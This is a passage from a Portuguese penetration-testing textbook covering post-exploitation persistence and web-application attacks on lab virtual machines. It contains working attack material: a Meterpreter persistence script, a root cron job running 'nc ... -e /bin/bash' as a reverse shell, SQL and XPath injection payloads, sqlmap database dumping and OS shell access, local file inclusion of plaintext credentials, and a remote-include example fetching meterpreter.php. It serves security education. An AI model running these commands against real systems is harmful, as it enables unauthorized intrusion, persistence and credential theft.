meterpreter > run persistence -r 192.168.20.9 -p 2345 -U [*] Running Persistence Script [*] Resource file for cleanup created at \/root\/.msf4\/logs\/persistence\/BOOKXP_20150814.1154\/ BOOKXP_20150814.1154.rc [*] Creating Payload=windows\/meterpreter\/reverse_tcp LHOST=192.168.20.9 LPORT=2345 [*] Persistent agent script is 614853 bytes long [+] Persistent Script written to C:\\\\WINDOWS\\\\TEMP\\\\eTuUwezJblFHz.vbs [*] Executing script C:\\\\WINDOWS\\\\TEMP\\\\eTuUwezJblFHz.vbs [+] Agent executed with PID 840 [*] Installing into autorun as HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\BJkGfQLhXD [+] Installed into autorun as HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\BJkGfQLhXD Ap\u00f3s executar o script, coloque a sess\u00e3o Meterpreter em background por meio do comando background do Meterpreter e configure um handler para capturar o agente de persist\u00eancia.Agora reinicie o alvo Windows XP. Quando ele for reiniciado, fa\u00e7a login como georgia e voc\u00ea dever\u00e1 receber outra sess\u00e3o Meterpreter. N O T A \tSe isso n\u00e3o funcionar da primeira vez, tente reiniciar e fazer login novamente. Criando um cron job no Linux Tanto em sistemas Windows quanto em sistemas Linux, podemos iniciar tarefas automaticamente em um determinado instante. Por exemplo, podemos configurar um cron job para executar automaticamente um payload do Metasploit ou sim- plesmente usar o Netcat para fazer a conex\u00e3o de volta para n\u00f3s. Abra \/etc\/crontab em seu alvo Linux. A linha a seguir executar\u00e1 o comando nc 192.168.20.9 12345 -e \/bin\/bash a cada dez minutos, todas as horas de todos os dias de todos os meses \u2013 basicamente, a cada dez minutos. O comando ser\u00e1 executado como root. Adicione esta linha no final do arquivo \/etc\/crontab. (Para obter ajuda, consulte \u201cAutomatizando tarefas com o cron\u201d na p\u00e1gina 109.) *\/10 * * * * root nc 192.168.20.9 12345 -e \/bin\/bash","382 Testes de invas\u00e3o Agora reinicie o servi\u00e7o cron digitando service cron restart. Configure um Netcat listener na porta 12345 em seu computador Kali e, na pr\u00f3xima marca de dez minutos, o cron job dever\u00e1 ser executado e voc\u00ea receber\u00e1 um root shell em seu Netcat listener. Resumo Neste cap\u00edtulo, discutimos somente algumas t\u00e9cnicas de p\u00f3s-explora\u00e7\u00e3o de falhas, mal tocando a superf\u00edcie da variedade de ferramentas e t\u00e9cnicas interessantes que se encontram dispon\u00edveis. Demos uma olhada em alguns m\u00e9todos para escala\u00e7\u00e3o de nossos privil\u00e9gios em um sistema explorado. Tamb\u00e9m vimos m\u00e9todos para a coleta de informa\u00e7\u00f5es locais. Estudamos m\u00e9todos para transformar o acesso a um sistema em um acesso a v\u00e1rios outros, incluindo o pivoteamento de uma rede a outra por meio de uma sess\u00e3o aberta. Por fim, vimos alguns m\u00e9todos para tornar o nosso acesso permanente.","cap\u00edtulo 14 Testes em aplica\u00e7\u00f5es web Embora scanners automatizados sejam \u00f3timos para encontrar vulnerabilidades conhecidas em aplica\u00e7\u00f5es web, muitos clientes criam aplica\u00e7\u00f5es web personali- zadas. \u00c9 claro que produtos comerciais podem automatizar ataques a campos de entrada de usu\u00e1rios em aplica\u00e7\u00f5es web personalizadas, por\u00e9m nada pode subs- tituir um bom pentester com um proxy quando se trata de identificar problemas de seguran\u00e7a nessas aplica\u00e7\u00f5es. Como ocorre com qualquer software, as aplica\u00e7\u00f5es web podem ter problemas quando os dados de entrada n\u00e3o s\u00e3o devidamente sanitizados. Por exemplo, quando uma aplica\u00e7\u00e3o extrai dados de um banco de dados de acordo com de- terminadas entradas do usu\u00e1rio, ela poder\u00e1 esperar dados de entrada espec\u00edficos, como um nome de usu\u00e1rio e uma senha. Se, em vez disso, o usu\u00e1rio fornecer dados especiais de entrada para criar queries adicionais no banco de dados, ele poder\u00e1 roubar dados, evitar a necessidade de autentica\u00e7\u00e3o ou at\u00e9 mesmo executar comandos no sistema subjacente. Neste cap\u00edtulo, daremos uma olhada em como descobrir algumas vulnerabilidades comuns em aplica\u00e7\u00f5es web usando a aplica\u00e7\u00e3o web de exemplo instalada no alvo Windows\u00a07: um site simples de livraria com diversos problemas de seguran\u00e7a fre- quentemente encontrados em aplica\u00e7\u00f5es web. (Veja a se\u00e7\u00e3o \u201cInstalando softwares adicionais\u201d na p\u00e1gina 86 para ver as instru\u00e7\u00f5es de instala\u00e7\u00e3o.) Utilizando o Burp Proxy Podemos usar um proxy para capturar solicita\u00e7\u00f5es e respostas entre o nosso nave- gador e a aplica\u00e7\u00e3o web a fim de podermos ver exatamente que dados est\u00e3o sendo transmitidos. O Kali Linux vem com a vers\u00e3o gratuita do Burp Suite, uma plata- forma de testes de aplica\u00e7\u00f5es web que inclui um recurso de proxy. O Burp inclui 383","384 Testes de invas\u00e3o outros componentes \u00fateis como o Burp Spider, que pode vasculhar o conte\u00fado e as funcionalidades de aplica\u00e7\u00f5es web, e o Burp Repeater, que permite manipular e reenviar solicita\u00e7\u00f5es ao servidor. Por enquanto, focaremos na aba Burp Proxy. Para iniciar o Burp Suite no Kali Linux, acesse Applications (Aplicativos) na parte superior \u00e0 esquerda da GUI do Kali e, em seguida, clique em Kali Linux4Web Applications4Web Application Fuzzers4burpsuite (Kali Linux\uf034Aplica\u00e7\u00f5es web\uf034Fuzzers de aplica\u00e7\u00f5es web4burpsuite), como mostrado na figura 14.1. Figura 14.1 \u2013 Iniciando o Burp Suite no Kali. Clique na aba Proxy, como mostrado na figura 14.2. Por padr\u00e3o, o bot\u00e3o Intercept is on (Intercepta\u00e7\u00e3o ativada) dever\u00e1 estar selecionado para que o Burp Suite inter- cepte e capture qualquer solicita\u00e7\u00e3o de sa\u00edda de um navegador web configurado para usar o Burp como proxy para o tr\u00e1fego web. Essa configura\u00e7\u00e3o nos permitir\u00e1 ver e at\u00e9 mesmo modificar os detalhes das solicita\u00e7\u00f5es web antes que elas sejam enviadas ao servidor. Agora devemos dizer ao nosso navegador no Kali Linux para encaminhar o tr\u00e1fego web por meio de proxy usando o Burp Suite. 1.\t Abr a o n aveg ad or Ice wea s e l, aces s e Edit4 Preferences\uf034 Advanced (Editar4Prefer\u00eancias\uf034Avan\u00e7ado) e selecione a aba Network (Rede). 2.\t Clique em Settings (Configura\u00e7\u00f5es) \u00e0 direita de Connection (Conex\u00e3o).","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 385 3.\t No di\u00e1logo Connection Settings (Configura\u00e7\u00f5es da conex\u00e3o), mostrado na figura14.3, selecione Manual proxy configuration(Configura\u00e7\u00e3o manual de proxy) e insira o endere\u00e7o IP 127.0.0.1 e a porta 8080. Isso diz ao Iceweasel para escoar o tr\u00e1fego pelo host local na porta 8080 como proxy, que \u00e9 a porta default do Burp Proxy. Figura 14.2 \u2013 Interface do Burp Proxy. Figura 14.3 \u2013 Configurando um proxy no Iceweasel. Para garantir que o Iceweasel escoar\u00e1 todo o nosso tr\u00e1fego usando o Burp Suite como proxy, navegue at\u00e9 o URL do site de livros em seu alvo Windows 7: http:\/\/192.168.20.12\/bookservice.","386 Testes de invas\u00e3o A conex\u00e3o parecer\u00e1 travar no navegador, e o navegador e o Burp Suite dever\u00e3o ser destacados quando a solicita\u00e7\u00e3o HTTP GET para a p\u00e1gina principal do site de livros for capturada pelo Burp Suite, como mostrado na figura 14.4. Figura 14.4 \u2013 Solicita\u00e7\u00e3o HTTP GET capturada. Podemos ver os detalhes da solicita\u00e7\u00e3o HTTP GET pedindo a p\u00e1gina web do site de livros ao servidor. Como veremos mais adiante, podemos fazer altera\u00e7\u00f5es na solicita\u00e7\u00e3o antes de envi\u00e1-la ao servidor, mas, por enquanto, vamos simplesmente prosseguir e en- caminhar a solicita\u00e7\u00e3o (e qualquer solicita\u00e7\u00e3o subsequente) ao clicar no bot\u00e3o Forward (Encaminhar). De volta ao navegador, vemos que o servidor nos enviou a p\u00e1gina principal do site de livros, como mostrado na figura 14.5. Em seguida, vamos tentar criar uma conta (Figura 14.6). Clique em Login na parte superior \u00e0 esquerda da p\u00e1gina e, em seguida, encaminhe a solicita\u00e7\u00e3o ao servidor a partir do proxy. Fa\u00e7a o mesmo para acessar a p\u00e1gina de Sign Up (Inscri\u00e7\u00e3o) ao clicar em New User (Novo usu\u00e1rio) e encaminhar a solicita\u00e7\u00e3o ao servidor. Forne\u00e7a um nome de usu\u00e1rio, uma senha e o endere\u00e7o de email e ent\u00e3o submeta a solicita\u00e7\u00e3o ao clicar em Go (Criar). A solicita\u00e7\u00e3o dever\u00e1 ser capturada pelo Burp Proxy, como mostrado na figura 14.7.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 387 Figura 14.5 \u2013 O site de livros. Figura 14.6 \u2013 Criando uma nova conta. Figura 14.7 \u2013 Solicita\u00e7\u00e3o capturada. Al\u00e9m de ver a solicita\u00e7\u00e3o pura, que n\u00e3o tem um formato muito amig\u00e1vel de ler, voc\u00ea pode clicar na aba Params (Par\u00e2metros) na parte superior da janela de soli- cita\u00e7\u00e3o do Burp Suite para exibir os par\u00e2metros da solicita\u00e7\u00e3o em um formato mais leg\u00edvel, conforme mostrado na figura 14.8.","388 Testes de invas\u00e3o Figura 14.8 \u2013 Par\u00e2metros da solicita\u00e7\u00e3o. Por exemplo, os novos dados exibidos mostram o campo User com georgia, o campo Pass com password e o campo Email com [email protected]. Esses campos podem ser diretamente alterados no proxy. Por exemplo, se voc\u00ea alterar a senha de georgia para password1 antes de encaminhar a solicita\u00e7\u00e3o ao servidor, esse definir\u00e1 a senha do usu\u00e1rio georgia para password1, pois o servidor jamais ver\u00e1 a solicita\u00e7\u00e3o original do navegador, que continha a senha password. O proxy permite ver os detalhes de qualquer solicita\u00e7\u00e3o feita ao servidor. Se, em qualquer ponto, n\u00e3o for mais necess\u00e1rio passar o tr\u00e1fego pelo proxy, clique em Intercept is on (Intercepta\u00e7\u00e3o ativada) para altern\u00e1-lo para Intercept is off (Intercepta\u00e7\u00e3o desativada) e permita que o tr\u00e1fego seja enviado diretamente ao servidor sem que haja intera\u00e7\u00e3o com o usu\u00e1rio. Mude o bot\u00e3o novamente para ativar a intercepta\u00e7\u00e3o se voc\u00ea quiser capturar uma solicita\u00e7\u00e3o em particular. Inje\u00e7\u00e3o de SQL Muitas aplica\u00e7\u00f5es web armazenam dados em um banco de dados baseado em SQL no backend. Por exemplo, encontramos um banco de dados SQL durante nosso teste de invas\u00e3o de rede, quando identificamos um banco de dados MySQL aberto por causa do phpMyAdmin na instala\u00e7\u00e3o do XAMPP no alvo Windows XP, conforme vimos na p\u00e1gina 234. Utilizamos ent\u00e3o uma query SQL para gravar um shell de comandos PHP simples no servidor web.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 389 Normalmente, n\u00e3o teremos acesso direto para executar queries SQL no banco de dados no backend de um site a partir de uma aplica\u00e7\u00e3o web. Entretanto, se um desenvolvedor deixar de sanitizar os dados de entrada do usu\u00e1rio ao interagir com o banco de dados, voc\u00ea poder\u00e1 descobrir que poder\u00e1 realizar um ataque de inje\u00e7\u00e3o de SQL para manipular as queries enviadas a ele. Ataques bem-sucedidos de inje\u00e7\u00e3o de SQL podem ler dados do banco de dados, modific\u00e1-los, desativar ou destruir o banco de dados e, em alguns casos, at\u00e9 mesmo executar comandos no sistema operacional subjacente (o que pode ser especialmente eficaz porque os servidores de banco de dados, com frequ\u00eancia, s\u00e3o executados como usu\u00e1rios privilegiados). Um lugar natural para procurar problemas de inje\u00e7\u00e3o de SQL \u00e9 a p\u00e1gina de login. Muitas aplica\u00e7\u00f5es web armazenam dados de usu\u00e1rio em um banco de dados, portanto podemos usar uma query SQL para obter o usu\u00e1rio correto, de acordo com o nome do usu\u00e1rio e a senha fornecidos pelo usu\u00e1rio. Quando os desen- volvedores n\u00e3o fazem a sanitiza\u00e7\u00e3o dos dados de entrada do usu\u00e1rio, podemos compor queries SQL para atacar o banco de dados. Um exemplo de uma instru\u00e7\u00e3o SQL injet\u00e1vel da qual um invasor pode tirar proveito est\u00e1 sendo mostrado aqui: SELECT id FROM users WHERE username='$username' AND password='$password'; E se um invasor fornecesse um nome de usu\u00e1rio \u2018 OR \u20181\u2019=\u20191 e a senha do usu\u00e1rio fosse \u2018 OR \u20181\u2019=\u20191? A instru\u00e7\u00e3o SQL passaria a ser: SELECT username FROM users WHERE username='' or '1'='1' AND password='' or '1'='1' Como OR \u20181\u2019=\u20191\u2019 ser\u00e1 sempre verdadeiro, essa instru\u00e7\u00e3o SELECT agora retornar\u00e1 o primeiro nome da tabela de usu\u00e1rios, independentemente do nome do usu\u00e1rio e da senha. Como veremos na se\u00e7\u00e3o \u201cInje\u00e7\u00e3o de XPath\u201d na p\u00e1gina 393, nossa aplica\u00e7\u00e3o utiliza o Xpath \u2013 uma linguagem de query para documentos XML \u2013 que faz a autentica- \u00e7\u00e3o junto a um arquivo XML em vez de faz\u00ea-la em um banco de dados, embora o processo de inje\u00e7\u00e3o seja semelhante. No entanto nossa aplica\u00e7\u00e3o utiliza um banco de dados SQL para armazenar os registros dos livros dispon\u00edveis na loja e, quando selecionamos um livro na p\u00e1gina principal, seus detalhes s\u00e3o extra\u00eddos de um banco de dados MS SQL no backend. Por exemplo, clique no link More Details (Mais detalhes) do primeiro livro do site, Don\u2019t Make Me Think.A URL solicitada \u00e9 : http:\/\/192.168.20.12\/bookservice\/bookdetail.aspx?id=1 Os detalhes do livro s\u00e3o preenchidos de acordo com os resultados retornados pela query no banco de dados para o registro cujo ID \u00e9 igual a 1.","390 Testes de invas\u00e3o Testando a exist\u00eancia de vulnerabilidades de inje\u00e7\u00e3o de SQL Um primeiro teste t\u00edpico para verificar a exist\u00eancia de vulnerabilidades de inje\u00e7\u00e3o de SQL consiste em usar uma \u00fanica aspa simples para fechar a query SQL. Se uma vulnerabilidade de inje\u00e7\u00e3o de SQL estiver presente, a adi\u00e7\u00e3o dessa aspa de- ver\u00e1 fazer a aplica\u00e7\u00e3o gerar um erro de SQL, pois a query j\u00e1 estar\u00e1 fechada como parte do c\u00f3digo subjacente e a aspa adicional far\u00e1 a sintaxe SQL ficar incorreta. Esse erro nos informa que podemos injetar queries SQL no banco de dados do site usando o par\u00e2metro id. Vamos fazer uma tentativa enviando a query novamente com o par\u00e2metro id com valor igual a 1\u2019, como mostrado aqui: http:\/\/192.168.20.12\/bookservice\/bookdetail.aspx?id=1' Como esperado, a aplica\u00e7\u00e3o disponibiliza uma p\u00e1gina de erro indicando que nossa sintaxe SQL est\u00e1 incorreta, como mostrado na figura 14.9. Figura 14.9 \u2013 A aplica\u00e7\u00e3o identifica um erro de SQL. Em especial, observe a mensagem \u201cUnclosed quotation mark after the character string\u201d (Aspa n\u00e3o fechada ap\u00f3s a string de caracteres) em nossa query SQL. N O T A \tNem todas as aplica\u00e7\u00f5es vulner\u00e1veis \u00e0 inje\u00e7\u00e3o de SQL fornecer\u00e3o mensagens de erro t\u00e3o extensas. Com efeito, h\u00e1 toda uma classe de vulnerabilidades cegas de inje\u00e7\u00e3o de SQL, em que mensagens de erros detalhando a inje\u00e7\u00e3o n\u00e3o s\u00e3o mostradas, mesmo que a falha de inje\u00e7\u00e3o esteja presente.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 391 Explorando vulnerabilidades de inje\u00e7\u00e3o de SQL Agora que sabemos que uma vulnerabilidade de inje\u00e7\u00e3o de SQL est\u00e1 presente nesse site, podemos explor\u00e1-la para executar queries adicionais no banco de dados, jamais pretendidas pelo desenvolvedor. Por exemplo, podemos descobrir o nome do primeiro banco de dados usando a query a seguir: http:\/\/192.168.20.12\/bookservice\/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- A query gera uma mensagem de erro, Conversion failed when converting the nvarchar value \u2018BookApp\u2019 to data type int (Falha na convers\u00e3o ao converter o valor nvarchar \u2018BookApp\u2019 para o tipo de dado int), que nos informa que o nome do primeiro banco de dados \u00e9 BookApp, como mostrado na figura 14.10. Figura 14.10 \u2013 Mensagem de erro mostrando o nome do banco de dados. Usando o SQLMap Tamb\u00e9m podemos usar ferramentas para gerar queries SQL automaticamente a fim de executar diversas tarefas em um site usando a inje\u00e7\u00e3o de SQL. Tudo de que precisamos \u00e9 um ponto de inje\u00e7\u00e3o; a ferramenta faz o resto. Por exemplo, a listagem14.1mostra como isso \u00e9 feito quando fornecemos um URL potencialmente pass\u00edvel de inje\u00e7\u00e3o ao SQLMap do Kali; essa ferramenta testa para saber se h\u00e1 vulnerabilidades de inje\u00e7\u00e3o de SQL e executa queries de inje\u00e7\u00e3o. Listagem 14.1 \u2013 Fazendo o dumping do banco de dados com o SQLMap root@kali:~# sqlmap -u\uf075 \\\"http:\/\/192.168.20.12\/bookservice\/bookdetail.aspx?id=2\\\" --dump\uf076 --trecho omitido-- [21:18:10] [INFO] GET parameter 'id' is 'Microsoft SQL Server\/Sybase stacked queries' injectable --trecho omitido-- Database: BookApp","392 Testes de invas\u00e3o Table: dbo.BOOKMASTER [9 entries] +--------+---------------+-------+-------+------------------------------------- | BOOKID | ISBN | PRICE | PAGES | PUBNAME | BOOKNAME | FILENAME | AUTHNAME | DESCRIPTION | +--------+---------------+-------+-------+------------------------------------- | 1 | 9780470412343 | 11.33 | 140 | Que; 1st edition (October 23, 2000) | Do not Make Me Think A Common Sense Approach to Web Usability | 4189W8B2NXL.jpg | Steve Krug and Roger Black | All of the tips, techniques, and examples presented revolve around users being able to surf merrily through a well-designed site with minimal cognitive strain. Readers will quickly come to agree with many of the books assumptions, such as We do not read pages--we scan them and We do not figure out how things work--we muddle through. Coming to grips with such hard facts sets the stage for Web design that then produces topnotch sites. | --trecho omitido-- | Especifique o URL a ser testado usando a op\u00e7\u00e3o -u \uf075.A op\u00e7\u00e3o --dump \uf076 faz o dump do conte\u00fado do banco de dados \u2013 nesse caso, s\u00e3o detalhes dos livros. Tamb\u00e9m podemos usar o SQLMap para tentar obter acesso ao shell de comandos do sistema subjacente. Bancos de dados MS SQL cont\u00eam uma stored procedure (procedimento armazenado) chamada xp_cmdshell, que nos concede acesso a um shell de comandos, por\u00e9m, normalmente ela est\u00e1 desabilitada. Felizmente, o SQLMap tentar\u00e1 habilit\u00e1-la novamente. A listagem 14.2 mostra como podemos obter um shell de comandos no sistema-alvo subjacente do site, que \u00e9 o Windows 7, utilizando o SQLMap. Listagem 14.2 \u2013 Acesso ao xp_cmdshell por meio de inje\u00e7\u00e3o de SQL root@kali:~# sqlmap -u \\\"http:\/\/192.168.20.12\/bookservice\/bookdetail.aspx?id=2\\\" --os-shell --trecho omitido-- xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re- enable it? [Y\/n] Y --trecho omitido-- os-shell> whoami do you want to retrieve the command standard output? [Y\/n\/a] Y command standard output: 'nt authority\\\\system' Como voc\u00ea pode ver na listagem 14.2, recebemos um shell sendo executado como System sem a necessidade de adivinhar as credenciais para o banco de dados.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 393 N O T A \tO banco de dados MS SQL n\u00e3o est\u00e1 ouvindo nenhuma porta, de qualquer maneira, portanto n\u00e3o podemos acess\u00e1-lo diretamente. De modo diferente de nosso sistema Windows XP no cap\u00edtulo 6, esse servidor web n\u00e3o cont\u00e9m o phpMyAdmin, portanto n\u00e3o temos nenhum outro modo de acessar o banco de dados. Um problema de inje\u00e7\u00e3o de SQL no site hospedado nos concede total acesso ao sistema. Inje\u00e7\u00e3o de XPath Conforme mencionamos anteriormente, essa aplica\u00e7\u00e3o de livraria usa a auten- tica\u00e7\u00e3o XML, em que o XML \u00e9 consultado por meio de Xpath. Podemos usar a inje\u00e7\u00e3o de XPath para atacar o XML. Embora sua sintaxe seja diferente da sintaxe do SQL, o processo de inje\u00e7\u00e3o \u00e9 semelhante. Por exemplo, tente inserir aspas simples (\u2018) tanto no campo de nome de usu\u00e1rio quanto no de senha na p\u00e1gina de login. Voc\u00ea dever\u00e1 ver um erro como o que est\u00e1 sendo mostrado na figura 14.11. Figura 14.11 \u2013 Erro de XML no login. Como voc\u00ea pode ver a partir da mensagem de erro mostrada na figura 14.11, no- vamente temos um problema de inje\u00e7\u00e3o, pois temos um erro em nossa sintaxe. Como estamos em uma p\u00e1gina de login, uma estrat\u00e9gia t\u00edpica de inje\u00e7\u00e3o no Xpath consiste em tentar passar pela autentica\u00e7\u00e3o e obter acesso \u00e0 parte da aplica\u00e7\u00e3o que a exige ao atacar a l\u00f3gica da query Xpath. Por exemplo, como mostrado nos detalhes do erro, a query de login toma o nome do usu\u00e1rio e a senha fornecidos e, em seguida, compara esses valores em rela\u00e7\u00e3o \u00e0s credenciais que est\u00e3o em um arquivo XML. \u00c9 poss\u00edvel criar uma query que evite a necessidade de ter credenciais v\u00e1lidas? Forne\u00e7a um conjunto de credenciais dummy no login e capture a solicita\u00e7\u00e3o usando o Burp Proxy, como mostrado na figura14.12.","394 Testes de invas\u00e3o Agora altere os par\u00e2metros txtUser e txtPass da solicita\u00e7\u00e3o capturada para este valor: ' or '1'='1 Figura 14.12 \u2013 Solicita\u00e7\u00e3o de login capturada. Isso diz \u00e0 query de login do Xpath para descobrir a conta de usu\u00e1rio em que os campos do nome do usu\u00e1rio e da senha estejam em branco ou 1=1. Como 1=1 \u00e9 sempre avaliado como verdadeiro, a l\u00f3gica dessa query diz para retornar o usu\u00e1- rio que tiver o nome em branco ou presente \u2013 o mesmo vale para a senha. Desse modo, ao usar esse m\u00e9todo de inje\u00e7\u00e3o, podemos fazer a aplica\u00e7\u00e3o permitir o nosso login como o primeiro usu\u00e1rio do arquivo de autentica\u00e7\u00e3o. E, como mostrado na figura 14.13, somos logados como o usu\u00e1rio Mike. Figura 14.13 \u2013 Passando pela autentica\u00e7\u00e3o por meio de inje\u00e7\u00e3o de Xpath.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 395 Inclus\u00e3o de arquivos locais Outra vulnerabilidade comumente encontrada em aplica\u00e7\u00f5es web \u00e9 a inclus\u00e3o de arquivos locais, que \u00e9 a capacidade de ler arquivos da aplica\u00e7\u00e3o ou do restante do sistema de arquivos aos quais n\u00e3o dever\u00edamos ter acesso por meio da aplica\u00e7\u00e3o web. Vimos um exemplo desse caso no cap\u00edtulo 8, em que o servidor web Zervit no alvo Windows\u00a0XP nos permitia fazer o download de arquivos do alvo, por exemplo, de um backup do SAM e de hives de SYSTEM. Nossa aplica\u00e7\u00e3o de livraria tamb\u00e9m sofre do problema de inclus\u00e3o de arquivos locais. Como o usu\u00e1rio Mike, acesse Profile4View Newsletters (Perfil4Visualizar newsletters). Clique na primeira newsletter (boletim informativo) da lista para visualizar o conte\u00fado do arquivo, como mostrado na figura 14.14. Figura 14.14 \u2013 Visualizando uma newsletter. Agora envie a solicita\u00e7\u00e3o novamente e capture-a com o Burp Proxy, como mos- trado na figura 14.15. Clique na aba Params (Par\u00e2metros) e observe o par\u00e2metro c:\\\\inetpub\\\\wwwroot\\\\Book\\\\ NewsLetter\\\\[email protected]\\\\Web Hacking Review.txt. O path c:\\\\inetpub\\\\wwwroot\\\\ Book\\\\NewsLetter\\\\Mike sugere que a funcionalidade de newsletter est\u00e1 acessando as newsletters do sistema de arquivos local usando o seu path absoluto. Parece tamb\u00e9m que h\u00e1 uma pasta chamada [email protected] na pasta Newsletter. Talvez cada usu\u00e1rio inscrito para receber as newsletters tenha uma pasta desse tipo.","396 Testes de invas\u00e3o Figura 14.15 \u2013 Solicita\u00e7\u00e3o de newsletter capturada. Tamb\u00e9m parece que nossa aplica\u00e7\u00e3o est\u00e1 no path c:\\\\inetpub\\\\wwwroot\\\\Book, como indicado nas solicita\u00e7\u00f5es de newsletter, em vez de estar em c:\\\\inetpub\\\\wwwroot\\\\ bookservice, como seria de esperar de acordo com o URL. Fizemos essa observa\u00e7\u00e3o porque ela poder\u00e1 ser \u00fatil no futuro. E se mud\u00e1ssemos o par\u00e2metro referente ao nome do arquivo para outro arquivo da aplica\u00e7\u00e3o web? Ser\u00e1 poss\u00edvel ter acesso a todo o c\u00f3digo-fonte da aplica\u00e7\u00e3o? Por exemplo, altere o arquivo para o nome a seguir e encaminhe a solicita\u00e7\u00e3o ao servidor. C:\\\\inetpub\\\\wwwroot\\\\Book\\\\Search.aspx Como voc\u00ea pode ver, o c\u00f3digo-fonte da p\u00e1gina Search.aspx \u00e9 exibido na caixa de Newsletter, como mostrado na figura 14.16. Figure 14.16 \u2013 Vulnerabilidade de inclus\u00e3o de arquivo local.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 397 Ter acesso a todo o c\u00f3digo-fonte do lado do servidor da aplica\u00e7\u00e3o web permite realizar uma an\u00e1lise completa do c\u00f3digo-fonte \u00e0 procura de problemas. Mas, quem sabe, possamos acessar dados mais cr\u00edticos ainda. Por exemplo, sabe- mos que os nomes de usu\u00e1rio e as senhas est\u00e3o armazenados em um arquivo XML. Talvez possamos solicitar esse arquivo. N\u00e3o sabemos o seu nome, por\u00e9m alguns palpites para nomes de arquivo comuns em cen\u00e1rios de autentica\u00e7\u00e3o XML nos levar\u00e1 ao nome AuthInfo.xml. Capture a solicita\u00e7\u00e3o da newsletter no Burp Proxy e altere o arquivo solicitado para o nome sendo mostrado aqui: C:\\\\inetpub\\\\wwwroot\\\\Book\\\\AuthInfo.xml Como voc\u00ea pode ver na figura 14.17, passamos a ter acesso aos nomes dos usu\u00e1rios e \u00e0s senhas em formato texto simples. Agora sabemos por que a nossa inje\u00e7\u00e3o anterior de Xpath nos fez fazer login como o usu\u00e1rio Mike: Mike \u00e9 o primeiro usu\u00e1rio do arquivo. Figure 14.17 \u2013 Informa\u00e7\u00f5es de autentica\u00e7\u00e3o. Esse \u00e9 um \u00f3timo exemplo de uma ocasi\u00e3o em que usar um proxy \u00e9 muito pr\u00e1tico. Um usu\u00e1rio com apenas um navegador estaria limitado somente aos arquivos em que ele pode clicar, ou seja, \u00e0s newsletters apresentadas. Por outro lado, com o proxy, podemos ver a solicita\u00e7\u00e3o e pedir um arquivo espec\u00edfico do sistema de arquivos. Ao alterar manualmente o nome do arquivo na solicita\u00e7\u00e3o usando o Burp Proxy, pudemos ver outros arquivos sens\u00edveis. N\u00e3o h\u00e1 d\u00favidas de que o desenvolvedor n\u00e3o considerou a possibilidade de o usu\u00e1rio poder simplesmente pedir qualquer arquivo e, desse modo, n\u00e3o pensou em limitar os arquivos que poderiam ser acessados por meio das newsletters do usu\u00e1rio.","398 Testes de invas\u00e3o Pior ainda, n\u00e3o estamos limitados aos arquivos da aplica\u00e7\u00e3o web. Podemos carregar qualquer arquivo do sistema de arquivos para os quais o IIS_USER tenha acesso de leitura. Por exemplo, se um arquivo chamado secret.txt for criado no drive C:, voc\u00ea poder\u00e1 carreg\u00e1-lo por meio da funcionalidade de newsletters. Basta substi- tuir o arquivo desejado na solicita\u00e7\u00e3o capturada pelo Burp Suite. Se pudermos descobrir uma maneira de carregar arquivos em uma aplica\u00e7\u00e3o web, poderemos at\u00e9 mesmo usar a vulnerabilidade de LFI (Local File Inclusion, ou Inclus\u00e3o de arquivos locais) para executar um c\u00f3digo malicioso no servidor web. Inclus\u00e3o de arquivos remotos As vulnerabilidades de RFI (Remote File Inclusion, ou Inclus\u00e3o de Arquivos Remo- tos) permite aos invasores carregar e executar scripts maliciosos, hospedados em outro local, em um servidor vulner\u00e1vel. No cap\u00edtulo 8, usamos a interface aberta do phpMyAdmin no XAMPP para criar um shell PHP simples e, por fim, uma vers\u00e3o PHP do Meterpreter no servidor web. Embora, neste caso, n\u00e3o estejamos carregando um arquivo no servidor, o ataque \u00e9 semelhante. Se pudermos enga- nar o servidor vulner\u00e1vel de modo que ele execute um script remoto, poderemos executar comandos no sistema subjacente. Nosso site n\u00e3o tem uma vulnerabilidade de inclus\u00e3o de arquivos remotos, por\u00e9m um c\u00f3digo PHP vulner\u00e1vel simples est\u00e1 sendo mostrado aqui com o intuito de efetuarmos uma demonstra\u00e7\u00e3o: <?php include($_GET['file']); ?> Um invasor pode hospedar um script PHP malicioso (por exemplo, o script meterpreter.php que utilizamos no cap\u00edtulo 8) em seu servidor web e solicitar a p\u00e1gina com o par\u00e2metro referente ao arquivo definido com http:\/\/<ip_do_invasor>\/ meterpreter.php. A vulnerabilidade de RFI far\u00e1 o meterpreter.php ser executado pelo servidor web, mesmo que ele esteja hospedado em outro local. \u00c9 claro que nossa aplica\u00e7\u00e3o de exemplo \u00e9 ASP.net e n\u00e3o PHP, por\u00e9m o Msfvenom pode criar payloads em formato ASPX para esses tipos de aplica\u00e7\u00e3o. Execu\u00e7\u00e3o de comandos Conforme observamos anteriormente, a pasta Newsletters cont\u00e9m uma pasta cha- mada Mike@Mike.\u200b com. Do ponto de vista l\u00f3gico, isso sugere que o site pode conter","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 399 pastas semelhantes com os endere\u00e7os de email de todos os usu\u00e1rios inscritos para receber newsletters. Alguma parte da aplica\u00e7\u00e3o deve estar criando essas pastas \u00e0 medida que os usu\u00e1rios se registram ou se inscrevem para receber newsletters. O c\u00f3digo da aplica\u00e7\u00e3o provavelmente est\u00e1 executando um comando para criar as pastas no sistema de arquivos. Quem sabe, novamente, por causa da aus\u00eancia de valida\u00e7\u00e3o dos dados de entrada, possamos executar comandos adicionais que o desenvolvedor jamais pretendeu que execut\u00e1ssemos. Como mostrado na figura 14.18, o canto inferior direito da aplica\u00e7\u00e3o web cont\u00e9m um formul\u00e1rio de inscri\u00e7\u00e3o para as newsletters. Suspeitamos que, quando inse- rirmos um endere\u00e7o de email, uma pasta ser\u00e1 criada para esse email na pasta newsletters. Figura 14.18 \u2013 Inscri\u00e7\u00e3o para receber newsletters. 